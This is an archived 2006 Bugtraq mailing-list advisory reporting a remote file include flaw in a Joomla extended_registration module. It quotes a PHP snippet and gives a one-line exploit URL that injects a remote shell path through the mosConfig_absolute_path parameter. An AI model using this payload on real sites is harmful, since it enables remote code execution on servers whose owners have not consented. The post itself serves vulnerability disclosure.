[<prev] [next>] [day] [month] [year] [list]
Message-ID: <20061026154527.7079.qmail@securityfocus.com>
Date: 26 Oct 2006 15:45:27 -0000
From: crackers_child@...ersavascilar.com
To: bugtraq@...urityfocus.com
Subject: Joomla extended_registration mod Remote File Include Vulnerabilities
!!!!!!!!!WWW.SiBERSAVASCiLAR.COM!!!!!!!!!
--------------------------------------------------------------------------------
Title : Joomla extended_registration mod Remote File Include Vulnerabilities
--------------------------------------------------------------------------------
#Author: Crackers_Child
#cont@ct: crackers_child@...ersavascilar.com
--------------------------------------------------------------------------------
Bug in admin.extended_registration.php
<?php
require("../configuration.php");
function extended_registration_settings($state,$lang) {
global $mosConfig_absolute_path;
--------------------------------------------------------------------------------
Exploit:
www.site.com/administrator/components/com_extended_registration/admin.extended_registration.php?mosConfig_absolute_path=Shel3l?
--------------------------------------------------------------------------------
greets:
X_ALPEREN_X and All SiberSavascilar.CoM Members !
--------------------------------------------------------------------------------
--------------------------------- [ WWW.SiBERSAVASCiLAR.COM ] --------------------------------------
Powered by blists - more mailing lists